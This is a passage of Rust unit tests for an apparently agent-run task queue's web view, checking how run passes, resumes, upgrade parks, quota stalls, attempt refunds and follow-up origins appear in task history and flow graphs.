16020            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16021        );
16022        assert!(
16023            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16024            "{v}"
16025        );
16026        assert!(
16027            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16028            "an unrecorded cause must not be narrated as an operator park: {v}"
16029        );
16030        assert_eq!(h[2]["kind"], "review");
16031        assert!(
16032            h[2]["description"]
16033                .as_str()
16034                .unwrap()
16035                .contains("magi/aaaa/A")
16036        );
16037        assert_eq!(h[2]["status"], "merged");
16038        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16039        assert_eq!(v["runs_unreadable"], 1);
16040        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16041        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16042        assert_eq!(nodes[4]["note"], "unreadable");
16043        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16044        assert_eq!(v["instruction"], "Do the thing");
16045        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16046
16047        // The run's own page links back to the task.
16048        let run = f.get(&format!("/api/runs/{a}")).await.json();
16049        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16050
16051        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16052    }
16053
16054    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16055        let mut s = RunState::new(
16056            PathBuf::from("/repo/magi"),
16057            "main".to_owned(),
16058            "0123456789abcdef".to_owned(),
16059            "Do it".to_owned(),
16060            Config::default(),
16061        );
16062        s.status = status;
16063        edit(&mut s);
16064        s
16065    }
16066
16067    fn flow_task(runs: &[&str]) -> Task {
16068        let mut t = Task::new(
16069            "t".to_owned(),
16070            "Do it".to_owned(),
16071            PathBuf::from("/repo/magi"),
16072            Source::Human,
16073        );
16074        for r in runs {
16075            t.start((*r).to_owned());
16076        }
16077        // Synthetic flows without RunPass records model legacy queue data.
16078        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16079        t
16080    }
16081
16082    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16083        let h = task_history(task, |id| {
16084            states
16085                .iter()
16086                .find(|(i, _)| *i == id)
16087                .and_then(|(_, s)| s.clone())
16088        });
16089        task_flow(task, &h, 5, None)
16090    }
16091
16092    #[test]
16093    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16094        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16095        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16096        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16097        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16098        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16099        let run = flow_run(RunStatus::Implementing, |s| {
16100            s.created_at = created;
16101            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16102            s.passes[0].started_at = first;
16103            s.passes[1].started_at = resumed;
16104        });
16105        let mut task = flow_task(&[RUN_X, RUN_X]);
16106        task.created_at = queued;
16107        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16108        task.status = TaskStatus::Held;
16109        task.held_at = Some(held);
16110        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16111        assert_eq!(
16112            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16113            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16114        );
16115        assert!(flow.nodes.iter().all(|n| n.time_expected));
16116        let json = serde_json::to_value(&flow).unwrap();
16117        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16118        assert_eq!(json["nodes"][2]["time_expected"], true);
16119    }
16120
16121    #[test]
16122    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16123        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16124        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16125        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16126        // These timestamps are not the start of the current status.
16127        task.held_at = Some(created);
16128        task.blocked_at = Some(created);
16129        for status in [
16130            TaskStatus::Queued,
16131            TaskStatus::Running,
16132            TaskStatus::Blocked,
16133            TaskStatus::Done,
16134            TaskStatus::Failed,
16135            TaskStatus::Parked,
16136            TaskStatus::Held,
16137        ] {
16138            task.status = status;
16139            if status == TaskStatus::Held {
16140                task.held_at = None;
16141            }
16142            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16143            assert_eq!(flow.nodes[1].started_at, Some(created));
16144            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16145            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16146            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16147            let json = serde_json::to_value(&flow).unwrap();
16148            assert!(json["nodes"][3]["started_at"].is_null());
16149            assert_eq!(json["nodes"][3]["time_expected"], true);
16150        }
16151    }
16152
16153    #[test]
16154    fn flow_context_links_do_not_expect_start_times() {
16155        let mut task = flow_task(&[]);
16156        task.source = Source::Agent {
16157            run: "chat-id".to_owned(),
16158            node: "chat".to_owned(),
16159        };
16160        let origin = followup_origin(&fu(None), |_| None, |_| None);
16161        let flow = task_flow(&task, &[], 5, Some(&origin));
16162        for node in &flow.nodes[..2] {
16163            assert!(!node.time_expected);
16164            assert_eq!(node.started_at, None);
16165        }
16166        assert!(flow.nodes[2].time_expected);
16167    }
16168
16169    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16170        crate::queue::FollowUp {
16171            run: "20260901-000000-aaaa".to_owned(),
16172            origin_task: origin_task.map(str::to_owned),
16173            pr: "https://example.com/o/r/pull/1".to_owned(),
16174            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16175                .map(str::to_owned)
16176                .to_vec(),
16177            generation: 1,
16178        }
16179    }
16180
16181    fn parent_task() -> Task {
16182        let mut p = flow_task(&[]);
16183        p.title = "Parent title".to_owned();
16184        p.status = TaskStatus::Done;
16185        p
16186    }
16187
16188    #[test]
16189    fn flow_opens_with_the_parent_task_of_a_followup() {
16190        let p = parent_task();
16191        let pid = p.id.clone();
16192        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16193        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16194        let n = &f.nodes[0];
16195        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16196        assert_eq!(
16197            n.label,
16198            format!("Follow-up of {}", crate::queue::short(&pid))
16199        );
16200        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16201        assert_eq!(n.status, Some("done"));
16202        assert_eq!(n.status_of, "task");
16203        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16204        assert_eq!(f.nodes[1].key, "start");
16205        assert_eq!(f.edges[0].from, "origin");
16206        assert_eq!(
16207            f.edges[0].label,
16208            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16209        );
16210    }
16211
16212    #[test]
16213    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16214        let o = followup_origin(
16215            &fu(Some("gone")),
16216            |_| None,
16217            |_| {
16218                Some(RunState::new(
16219                    std::path::PathBuf::from("."),
16220                    "main".to_owned(),
16221                    "0".to_owned(),
16222                    "t".to_owned(),
16223                    crate::config::Config::default(),
16224                ))
16225            },
16226        );
16227        assert!(o.parent.is_none());
16228        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16229        let n = &f.nodes[0];
16230        assert_eq!(n.status_of, "run");
16231        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16232        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16233    }
16234
16235    #[test]
16236    fn flow_followup_with_nothing_readable_has_no_link() {
16237        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16238        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16239        let n = &f.nodes[0];
16240        assert_eq!(n.href, None);
16241        assert_eq!(n.note, Some("unreadable"));
16242        assert!(!n.readable);
16243    }
16244
16245    #[test]
16246    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16247        let o = followup_origin(&fu(None), |_| None, |_| None);
16248        let mut t = flow_task(&[]);
16249        t.origin_chat = Some("c1".to_owned());
16250        let f = task_flow(&t, &[], 5, Some(&o));
16251        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16252        t.source = Source::Agent {
16253            run: "c1".to_owned(),
16254            node: crate::queue::CHAT_NODE.to_owned(),
16255        };
16256        let f = task_flow(&t, &[], 5, Some(&o));
16257        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16258        assert_eq!(
16259            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16260            ("chat", "origin")
16261        );
16262    }
16263
16264    #[test]
16265    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16266        let mut p = parent_task();
16267        p.id = "a b/c".to_owned();
16268        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16269        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16270    }
16271
16272    #[test]
16273    fn flow_opens_with_the_chat_that_queued_the_task() {
16274        let mut t = flow_task(&[]);
16275        t.source = Source::Agent {
16276            run: "a b/c".to_owned(),
16277            node: crate::queue::CHAT_NODE.to_owned(),
16278        };
16279        let f = flow_for(&t, &[]);
16280        assert_eq!(f.nodes[0].key, "chat");
16281        assert_eq!(f.nodes[0].kind, "chat");
16282        assert_eq!(
16283            f.nodes[0].label,
16284            format!("Chat {}", crate::queue::short("a b/c"))
16285        );
16286        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16287        assert_eq!(f.nodes[1].key, "start");
16288        assert_eq!(
16289            f.edges[0],
16290            FlowEdge {
16291                from: "chat".to_owned(),
16292                to: "start".to_owned(),
16293                label: "queued from chat".to_owned(),
16294                attempt: AttemptCost::None,
16295            }
16296        );
16297    }
16298
16299    #[test]
16300    fn flow_has_no_chat_box_for_other_sources() {
16301        for source in [
16302            Source::Human,
16303            Source::Issue {
16304                number: 3,
16305                repo: "o/r".to_owned(),
16306            },
16307            Source::Agent {
16308                run: "20260904-014455-ab12".to_owned(),
16309                node: "implement".to_owned(),
16310            },
16311        ] {
16312            let mut t = flow_task(&[]);
16313            t.source = source;
16314            let f = flow_for(&t, &[]);
16315            assert_eq!(f.nodes[0].key, "start");
16316            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16317            assert!(f.edges.iter().all(|e| e.from != "chat"));
16318        }
16319    }
16320
16321    const FA: &str = "20260902-140501-aaaa";
16322    const FB: &str = "20260902-140502-bbbb";
16323
16324    #[test]
16325    fn flow_follows_blocked_retry_merged_to_done() {
16326        let mut t = flow_task(&[FA, FB]);
16327        t.status = TaskStatus::Done;
16328        let f = flow_for(
16329            &t,
16330            &[
16331                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16332                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16333            ],
16334        );
16335        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16336        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16337        assert_eq!(f.edges.len(), 3);
16338        assert_eq!(f.edges[0].label, "claimed");
16339        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16340        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16341        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16342        assert_eq!(
16343            f.nodes[2].href.as_deref(),
16344            Some("#/runs/20260902-140502-bbbb")
16345        );
16346        assert!(f.nodes[2].decided);
16347    }
16348
16349    #[test]
16350    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16351        let quota = || {
16352            flow_run(RunStatus::Stalled, |s| {
16353                s.quota.push(crate::run::QuotaLoss {
16354                    cause: crate::agent::QuotaCause::UsageLimit,
16355                    agent: String::new(),
16356                    seat: "judge-1".to_owned(),
16357                    node: "judge".to_owned(),
16358                    at: Timestamp::now(),
16359                    reset: None,
16360                })
16361            })
16362        };
16363        let mut t = flow_task(&[FA, FA]);
16364        t.status = TaskStatus::Queued;
16365        let f = flow_for(&t, &[(FA, Some(quota()))]);
16366        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16367        assert_eq!(f.nodes[1].note, Some("interrupted"));
16368        assert_eq!(
16369            f.nodes[1].status, None,
16370            "no outcome copied onto an earlier pass"
16371        );
16372        assert_eq!(
16373            f.edges[1].attempt,
16374            AttemptCost::Unknown,
16375            "a resume does not prove the earlier pass was refunded"
16376        );
16377        assert!(f.edges[1].label.contains("resume the same run"));
16378        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16379        assert_eq!(
16380            f.edges[2].label,
16381            "stalled after a resume, refund unknown \u{2192} queued"
16382        );
16383        assert!(!f.nodes[2].decided, "a stall is not a decision");
16384        assert_eq!(f.nodes[2].note, Some("no verdict"));
16385    }
16386
16387    #[test]
16388    fn flow_single_pass_quota_stall_is_refunded() {
16389        let t = flow_task(&[FA]);
16390        let f = flow_for(
16391            &t,
16392            &[(
16393                FA,
16394                Some(flow_run(RunStatus::Stalled, |s| {
16395                    s.quota.push(crate::run::QuotaLoss {
16396                        cause: crate::agent::QuotaCause::UsageLimit,
16397                        agent: String::new(),
16398                        seat: "judge-1".to_owned(),
16399                        node: "judge".to_owned(),
16400                        at: Timestamp::now(),
16401                        reset: None,
16402                    })
16403                })),
16404            )],
16405        );
16406        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16407    }
16408
16409    #[test]
16410    fn flow_parked_refunds_and_stall_without_quota_spends() {
16411        let mut t = flow_task(&[FA]);
16412        t.status = TaskStatus::Queued;
16413        let f = flow_for(
16414            &t,
16415            &[(
16416                FA,
16417                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16418            )],
16419        );
16420        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16421        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16422        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16423        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16424        assert!(!f.nodes[1].decided);
16425    }
16426
16427    #[test]
16428    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16429        let t = flow_task(&[FA, FB]);
16430        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16431        assert_eq!(f.nodes[1].note, Some("unreadable"));
16432        assert!(!f.nodes[1].readable);
16433        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16434        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16435    }
16436
16437    #[test]
16438    fn flow_names_the_branch_of_a_review_only_run() {
16439        let t = flow_task(&[FA]);
16440        let f = flow_for(
16441            &t,
16442            &[(
16443                FA,
16444                Some(flow_run(RunStatus::Merged, |s| {
16445                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16446                })),
16447            )],
16448        );
16449        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16450        assert_eq!(
16451            f.nodes[1].detail.as_deref(),
16452            Some("review-only run of branch magi/x/A")
16453        );
16454    }
16455
16456    #[test]
16457    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16458        let mut t = flow_task(&[FA]);
16459        t.status = TaskStatus::Held;
16460        let pr = crate::run::PrRecord {
16461            url: "https://example.test/pr/1".to_owned(),
16462            number: 1,
16463            state: "open".to_owned(),
16464            checks: "green".to_owned(),
16465            round: 0,
16466            rounds: 3,
16467            red_at_merge: Vec::new(),
16468        };
16469        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16470        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16471        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16472        t.status = TaskStatus::Done;
16473        let f = flow_for(&t, &[(FA, Some(blocked))]);
16474        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16475    }
16476
16477    #[test]
16478    fn flow_with_no_runs_goes_from_queued_to_queued() {
16479        let t = flow_task(&[]);
16480        let f = flow_for(&t, &[]);
16481        assert_eq!(f.nodes.len(), 2);
16482        assert_eq!(f.edges.len(), 1);
16483        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16484        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16485    }
16486
16487    /// A run parked mid-flight keeps a non-terminal status; the page must
16488    /// still say why it stopped and that the attempt came back.
16489    #[test]
16490    fn a_parked_non_terminal_run_is_explained_as_parked() {
16491        let mut s = RunState::new(
16492            PathBuf::from("/repo/magi"),
16493            "main".to_owned(),
16494            "0123456789abcdef".to_owned(),
16495            "Do it".to_owned(),
16496            Config::default(),
16497        );
16498        s.status = RunStatus::Implementing;
16499        s.parked = true;
16500        let task = Task::new(
16501            "t".to_owned(),
16502            "Do it".to_owned(),
16503            PathBuf::from("/repo/magi"),
16504            Source::Human,
16505        );
16506        let v = task_run_view(
16507            "20260902-140501-aaaa",
16508            Some(&s),
16509            RunSlot {
16510                n: 1,
16511                resumed: false,
16512                resumed_later: None,
16513                prior: None,
16514                last: true,
16515                ..RunSlot::default()
16516            },
16517            &task,
16518        );
16519        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16520    }
16521
16522    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16523        let mut s = flow_run(RunStatus::Implementing, edit);
16524        s.parked = false;
16525        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16526        task_run_view(
16527            "20260902-140501-aaaa",
16528            Some(&s),
16529            RunSlot {
16530                n: 1,
16531                resumed: false,
16532                resumed_later: Some(2),
16533                prior: None,
16534                last: false,
16535                ..RunSlot::default()
16536            },
16537            &task,
16538        )
16539    }
16540
16541    #[test]
16542    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16543        let v = earlier_pass_view(|_| {});
16544        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16545        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16546        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16547        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16548        assert_eq!(v.exit, RunExit::Interrupted);
16549        assert_eq!(v.attempt, AttemptCost::Unknown);
16550    }
16551
16552    #[test]
16553    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16554        let v = earlier_pass_view(|s| {
16555            s.quota.push(crate::run::QuotaLoss {
16556                cause: crate::agent::QuotaCause::UsageLimit,
16557                agent: String::new(),
16558                seat: "judge-1".to_owned(),
16559                node: "judge".to_owned(),
16560                at: Timestamp::now(),
16561                reset: None,
16562            });
16563        });
16564        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16565        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16566        assert_eq!(v.attempt, AttemptCost::Unknown);
16567    }
16568
16569    #[test]
16570    fn the_current_pass_states_its_recorded_cause_and_cost() {
16571        let slot = || RunSlot {
16572            n: 1,
16573            resumed: false,
16574            resumed_later: None,
16575            prior: None,
16576            last: true,
16577            ..RunSlot::default()
16578        };
16579        let task = flow_task(&["20260902-140501-aaaa"]);
16580        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16581        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16582        assert_eq!(
16583            (v.exit, v.attempt),
16584            (RunExit::Parked, AttemptCost::Refunded)
16585        );
16586        let spent = flow_run(RunStatus::Blocked, |_| {});
16587        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16588        assert_eq!(v.attempt, AttemptCost::Spent);
16589        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16590    }
16591
16592    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16593        crate::run::RunPass {
16594            index,
16595            started_at: Timestamp::now(),
16596            resumed: index > 0,
16597            ended_at: end.as_ref().map(|_| Timestamp::now()),
16598            end,
16599            task_entry: true,
16600        }
16601    }
16602
16603    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16604        Some(crate::run::PassEnd::Parked { cause })
16605    }
16606
16607    fn upgrade_cause() -> crate::run::ParkCause {
16608        crate::run::ParkCause::Upgrade {
16609            from: "0.121.0".to_owned(),
16610            to: Some("0.121.1".to_owned()),
16611        }
16612    }
16613
16614    fn settled_pass(
16615        run: &str,
16616        index: usize,
16617        cost: crate::queue::PassCost,
16618    ) -> crate::queue::TaskPass {
16619        crate::queue::TaskPass {
16620            run: run.to_owned(),
16621            pass_index: index,
16622            started_at: None,
16623            cost,
16624            attempts_after: 1,
16625            settled_at: Timestamp::now(),
16626            parked: None,
16627        }
16628    }
16629
16630    const RUN_X: &str = "20261011-223708-4334";
16631
16632    #[test]
16633    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16634        use crate::queue::PassCost;
16635        let run = flow_run(RunStatus::Implementing, |s| {
16636            s.passes = vec![
16637                recorded_pass(0, parked(upgrade_cause())),
16638                recorded_pass(1, None),
16639            ];
16640        });
16641        let mut task = flow_task(&[RUN_X, RUN_X]);
16642        task.attempts = 1;
16643        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16644        let h = task_history(&task, |_| Some(run.clone()));
16645        assert_eq!(h.len(), 2);
16646        assert_eq!(h[0].kind, "competition");
16647        assert_eq!(h[1].kind, "resume");
16648        assert_eq!(
16649            (h[0].exit, h[0].attempt),
16650            (RunExit::Parked, AttemptCost::Refunded)
16651        );
16652        assert!(
16653            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16654            "{}",
16655            h[0].outcome
16656        );
16657        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16658        assert!(
16659            h[0].outcome.contains("pass #2 resumed the same run"),
16660            "{}",
16661            h[0].outcome
16662        );
16663        assert!(
16664            h[0].outcome.contains("pass 1 of 2 over run"),
16665            "{}",
16666            h[0].outcome
16667        );
16668        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16669        assert_eq!(
16670            h[0].exit_label,
16671            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16672        );
16673        let f = task_flow(&task, &h, 2, None);
16674        // Two passes of one run, one of two attempts consumed.
16675        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16676        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16677        assert!(
16678            f.edges[1].label.contains("upgrade 0.121.0"),
16679            "{}",
16680            f.edges[1].label
16681        );
16682        assert!(
16683            f.edges[1].label.contains("resume the same run"),
16684            "{}",
16685            f.edges[1].label
16686        );
16687        assert_eq!(f.nodes[1].note, Some("parked"));
16688    }
16689
16690    #[test]
16691    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16692        let mut a = flow_run(RunStatus::Implementing, |s| {
16693            s.passes = vec![
16694                recorded_pass(0, parked(upgrade_cause())),
16695                recorded_pass(1, None),
16696            ];
16697        });
16698        let mut b = flow_run(RunStatus::Failed, |s| {
16699            s.passes = vec![recorded_pass(0, None)];
16700        });
16701        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16702        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16703        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16704        let mut task = flow_task(&[]);
16705        task.start("a".into());
16706        task.start("b".into());
16707        task.start("a".into());
16708        assert_eq!(task.runs, ["b", "a"]);
16709        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16710        let h = task_history(&task, |id| {
16711            Some(if id == "a" { a.clone() } else { b.clone() })
16712        });
16713        assert_eq!(
16714            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16715            ["a", "b", "a"]
16716        );
16717        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16718        assert!(h[0].outcome.contains("upgrade"));
16719        assert_eq!(h[2].kind, "resume");
16720        assert!(h[2].pass.is_some());
16721        // The old repeated-id format must show the same recorded passes.
16722        task.runs = vec!["a".into(), "b".into(), "a".into()];
16723        let old = task_history(&task, |id| {
16724            Some(if id == "a" { a.clone() } else { b.clone() })
16725        });
16726        assert_eq!(
16727            old.iter()
16728                .map(|v| (&v.id, &v.kind, v.attempt))
16729                .collect::<Vec<_>>(),
16730            h.iter()
16731                .map(|v| (&v.id, &v.kind, v.attempt))
16732                .collect::<Vec<_>>()
16733        );
16734    }
16735
16736    #[test]
16737    fn an_upgrade_whose_target_was_not_known_says_so() {
16738        let run = flow_run(RunStatus::Implementing, |s| {
16739            s.passes = vec![
16740                recorded_pass(
16741                    0,
16742                    parked(crate::run::ParkCause::Upgrade {
16743                        from: "0.121.0".to_owned(),
16744                        to: None,
16745                    }),
16746                ),
16747                recorded_pass(1, None),
16748            ];
16749        });
16750        let task = flow_task(&[RUN_X, RUN_X]);
16751        let h = task_history(&task, |_| Some(run.clone()));
16752        assert!(
16753            h[0].outcome.contains("upgrade from 0.121.0"),
16754            "{}",
16755            h[0].outcome
16756        );
16757        // No settle record: the refund is not claimed.
16758        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16759    }
16760
16761    #[test]
16762    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16763        use crate::queue::PassCost;
16764        use crate::run::ParkCause;
16765        let run = flow_run(RunStatus::Implementing, |s| {
16766            s.passes = vec![
16767                recorded_pass(0, parked(upgrade_cause())),
16768                recorded_pass(
16769                    1,
16770                    parked(ParkCause::Interrupt {
16771                        reason: "task a1b2 asked to run first".to_owned(),
16772                    }),
16773                ),
16774                recorded_pass(2, parked(ParkCause::Operator)),
16775                recorded_pass(3, None),
16776            ];
16777        });
16778        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16779        task.attempts = 1;
16780        task.passes = (0..3)
16781            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16782            .collect();
16783        let h = task_history(&task, |_| Some(run.clone()));
16784        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16785        assert!(
16786            h[1].outcome.contains("task a1b2 asked to run first"),
16787            "{}",
16788            h[1].outcome
16789        );
16790        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16791        assert!(
16792            h[2].outcome.contains("operator asked the loop to park"),
16793            "{}",
16794            h[2].outcome
16795        );
16796        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16797        let f = task_flow(&task, &h, 2, None);
16798        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16799    }
16800
16801    #[test]
16802    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16803        let run = flow_run(RunStatus::Implementing, |s| {
16804            s.passes = vec![
16805                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16806                recorded_pass(1, None),
16807            ];
16808        });
16809        let task = flow_task(&[RUN_X, RUN_X]);
16810        let h = task_history(&task, |_| Some(run.clone()));
16811        assert_eq!(h[0].exit, RunExit::Interrupted);
16812        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16813        assert!(
16814            h[0].outcome.contains("without recording why"),
16815            "{}",
16816            h[0].outcome
16817        );
16818        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16819        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16820    }
16821
16822    #[test]
16823    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16824        use crate::queue::PassCost;
16825        // Three entries, but the run only began keeping passes at the last
16826        // two: the first is legacy and must not be given a cause.
16827        let run = flow_run(RunStatus::Implementing, |s| {
16828            s.passes = vec![
16829                recorded_pass(0, parked(upgrade_cause())),
16830                recorded_pass(1, None),
16831            ];
16832        });
16833        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16834        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16835        let h = task_history(&task, |_| Some(run.clone()));
16836        assert!(h[0].pass.is_none());
16837        assert_eq!(h[0].exit, RunExit::Interrupted);
16838        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16839        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16840        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16841        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16842        // A run with no passes at all is entirely unknown.
16843        let legacy = flow_run(RunStatus::Implementing, |_| {});
16844        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16845        assert!(h.iter().all(|v| v.pass.is_none()));
16846        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16847    }
16848
16849    #[test]
16850    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16851        use crate::queue::PassCost;
16852        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16853        // task. The two entries are passes 0 and 2.
16854        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16855        web.task_entry = false;
16856        let run = flow_run(RunStatus::Implementing, |s| {
16857            s.passes = vec![
16858                recorded_pass(0, parked(upgrade_cause())),
16859                web.clone(),
16860                recorded_pass(2, None),
16861            ];
16862        });
16863        let mut task = flow_task(&[RUN_X, RUN_X]);
16864        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16865        let h = task_history(&task, |_| Some(run.clone()));
16866        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16867        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16868
